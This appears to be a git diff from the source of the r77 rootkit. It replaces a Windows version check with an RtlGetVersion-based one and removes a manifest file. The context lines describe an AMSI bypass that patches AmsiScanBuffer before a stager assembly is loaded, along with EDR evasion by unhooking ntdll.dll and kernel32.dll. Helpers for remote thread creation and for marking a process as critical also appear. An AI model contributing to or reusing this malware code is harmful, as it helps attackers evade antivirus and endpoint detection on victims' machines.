diff --git a/Install/Install.c b/Install/Install.c index 1193843..715383d 100644 --- a/Install/Install.c +++ b/Install/Install.c @@ -63,8 +63,8 @@ LPWSTR GetPowershellCommand(BOOL is64Bit) // [Reflection.Assembly]::Load triggers AMSI and the byte[] with Stager.exe is passed to AV for analysis. // AMSI must be disabled for the entire process, because both powershell and .NET itself implement AMSI. - // AMSI is only supported on Windows 10. - if (R77_IsWindows10OrGreater()) + // AMSI is only supported on Windows 10; AMSI bypass not required for Windows 7. + if (IsAtLeastWindows10()) { // Patch amsi.dll!AmsiScanBuffer prior to [Reflection.Assembly]::Load. // Do not use Add-Type, because it will invoke csc.exe and compile a C# DLL to disk. diff --git a/Install/Install.vcxproj b/Install/Install.vcxproj index df39592..4990661 100644 --- a/Install/Install.vcxproj +++ b/Install/Install.vcxproj @@ -76,7 +76,8 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build" "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" -shellcodeinstaller "$(SolutionDir)\" - app.manifest + + @@ -110,7 +111,8 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build" "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" -shellcodeinstaller "$(SolutionDir)\" - app.manifest + + @@ -120,9 +122,6 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build" - - - diff --git a/Install/Install.vcxproj.filters b/Install/Install.vcxproj.filters index 28a1272..418b921 100644 --- a/Install/Install.vcxproj.filters +++ b/Install/Install.vcxproj.filters @@ -12,9 +12,6 @@ - - - diff --git a/Install/app.manifest b/Install/app.manifest deleted file mode 100644 index b6a0996..0000000 --- a/Install/app.manifest +++ /dev/null @@ -1,24 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/Service/Service.c b/Service/Service.c index cff790d..36f91d0 100644 --- a/Service/Service.c +++ b/Service/Service.c @@ -12,7 +12,7 @@ int main() { // Unhook DLL's that are monitored by EDR. UnhookDll(L"ntdll.dll"); - if (R77_IsWindows10OrGreater() || BITNESS(64)) + if (BITNESS(64) || IsAtLeastWindows10()) { // Unhooking kernel32.dll on Windows 7 x86 fails. //TODO: Find out why unhooking kernel32.dll on Windows 7 x86 fails. diff --git a/r77api/ntdll.h b/r77api/ntdll.h index 1ac0928..2c45bb6 100644 --- a/r77api/ntdll.h +++ b/r77api/ntdll.h @@ -650,6 +650,7 @@ typedef BOOL(WINAPI *NT_ENUMSERVICESSTATUSEXW)(SC_HANDLE serviceManager, SC_ENUM typedef NTSTATUS(NTAPI *NT_NTDEVICEIOCONTROLFILE)(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, ULONG ioControlCode, LPVOID inputBuffer, ULONG inputBufferLength, LPVOID outputBuffer, ULONG outputBufferLength); typedef NTSTATUS(NTAPI *NT_NTQUERYOBJECT)(HANDLE handle, OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength); typedef NTSTATUS(NTAPI *NT_NTCREATETHREADEX)(PHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer); +typedef NTSTATUS(NTAPI *NT_RTLGETVERSION)(PRTL_OSVERSIONINFOW versionInformation); typedef NTSTATUS(NTAPI *NT_RTLADJUSTPRIVILEGE)(ULONG privilege, BOOLEAN enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue); typedef NTSTATUS(NTAPI *NT_RTLSETPROCESSISCRITICAL)(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb); typedef DWORD(NTAPI *NT_NTFLUSHINSTRUCTIONCACHE)(HANDLE process, LPVOID baseAddress, ULONG size); diff --git a/r77api/r77win.c b/r77api/r77win.c index b77b7f9..a6e8234 100644 --- a/r77api/r77win.c +++ b/r77api/r77win.c @@ -109,6 +109,19 @@ BOOL Is64BitOperatingSystem() BOOL wow64 = FALSE; return BITNESS(64) || IsWow64Process(GetCurrentProcess(), &wow64) && wow64; } +BOOL IsAtLeastWindows10() +{ + RTL_OSVERSIONINFOW versionInfo; + versionInfo.dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOW); + + // Unlike GetVersionEx, RtlGetVersion returns the actual windows version regardless of executable manifest. + if (NT_SUCCESS(R77_RtlGetVersion(&versionInfo))) + { + return versionInfo.dwMajorVersion >= 10; + } + + return FALSE; +} BOOL Is64BitProcess(DWORD processId, LPBOOL is64Bit) { BOOL result = FALSE; @@ -890,6 +903,10 @@ NTSTATUS NTAPI R77_NtCreateThreadEx(PHANDLE thread, ACCESS_MASK desiredAccess, L // CreateRemoteThread does not work across sessions in Windows 7. return ((NT_NTCREATETHREADEX)GetFunction("ntdll.dll", "NtCreateThreadEx"))(thread, desiredAccess, objectAttributes, processHandle, startAddress, parameter, flags, stackZeroBits, sizeOfStackCommit, sizeOfStackReserve, bytesBuffer); } +NTSTATUS NTAPI R77_RtlGetVersion(PRTL_OSVERSIONINFOW versionInformation) +{ + return ((NT_RTLGETVERSION)GetFunction("ntdll.dll", "RtlGetVersion"))(versionInformation); +} NTSTATUS NTAPI R77_RtlAdjustPrivilege(ULONG privilege, BOOLEAN enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue) { return ((NT_RTLADJUSTPRIVILEGE)GetFunction("ntdll.dll", "RtlAdjustPrivilege"))(privilege, enablePrivilege, isThreadPrivilege, previousValue); @@ -897,18 +914,4 @@ NTSTATUS NTAPI R77_RtlAdjustPrivilege(ULONG privilege, BOOLEAN enablePrivilege, NTSTATUS NTAPI R77_RtlSetProcessIsCritical(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb) { return ((NT_RTLSETPROCESSISCRITICAL)GetFunction("ntdll.dll", "RtlSetProcessIsCritical"))(newIsCritical, oldIsCritical, needScb); -} -BOOL R77_IsWindows10OrGreater() -{ - // This function must re-written in order to be compatible with /NODEFAULTLIB - - OSVERSIONINFOEXW versionInfo; - i_memset(&versionInfo, 0, sizeof(OSVERSIONINFOEXW)); - versionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEXW); - versionInfo.dwMajorVersion = HIBYTE(_WIN32_WINNT_WIN10); - versionInfo.dwMinorVersion = LOBYTE(_WIN32_WINNT_WIN10); - versionInfo.wServicePackMajor = 0; - - DWORDLONG conditionMask = VerSetConditionMask(VerSetConditionMask(VerSetConditionMask(0, VER_MAJORVERSION, VER_GREATER_EQUAL), VER_MINORVERSION, VER_GREATER_EQUAL), VER_SERVICEPACKMAJOR, VER_GREATER_EQUAL); - return VerifyVersionInfoW(&versionInfo, VER_MAJORVERSION | VER_MINORVERSION | VER_SERVICEPACKMAJOR, conditionMask) != FALSE; } \ No newline at end of file diff --git a/r77api/r77win.h b/r77api/r77win.h index 1508c58..a10d6b1 100644 --- a/r77api/r77win.h +++ b/r77api/r77win.h @@ -54,6 +54,14 @@ VOID Int32ToStrW(LONG value, PWCHAR buffer); /// BOOL Is64BitOperatingSystem(); /// +/// Determines whether at Windows 10 or greater is installed. This function uses the NT API and does not rely on a manifest file. +/// +/// +/// TRUE, if Windows 10 or above is installed; +/// otherwise, FALSE. +/// +BOOL IsAtLeastWindows10(); +/// /// Determines whether a process is a 64-bit process. /// /// The process ID to check. @@ -278,8 +286,8 @@ VOID UnhookDll(LPCWSTR name); NTSTATUS NTAPI R77_NtQueryObject(HANDLE handle, OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength); NTSTATUS NTAPI R77_NtCreateThreadEx(PHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer); +NTSTATUS NTAPI R77_RtlGetVersion(PRTL_OSVERSIONINFOW versionInformation); NTSTATUS NTAPI R77_RtlAdjustPrivilege(ULONG privilege, BOOLEAN enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue); NTSTATUS NTAPI R77_RtlSetProcessIsCritical(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb); -BOOL R77_IsWindows10OrGreater(); #endif \ No newline at end of file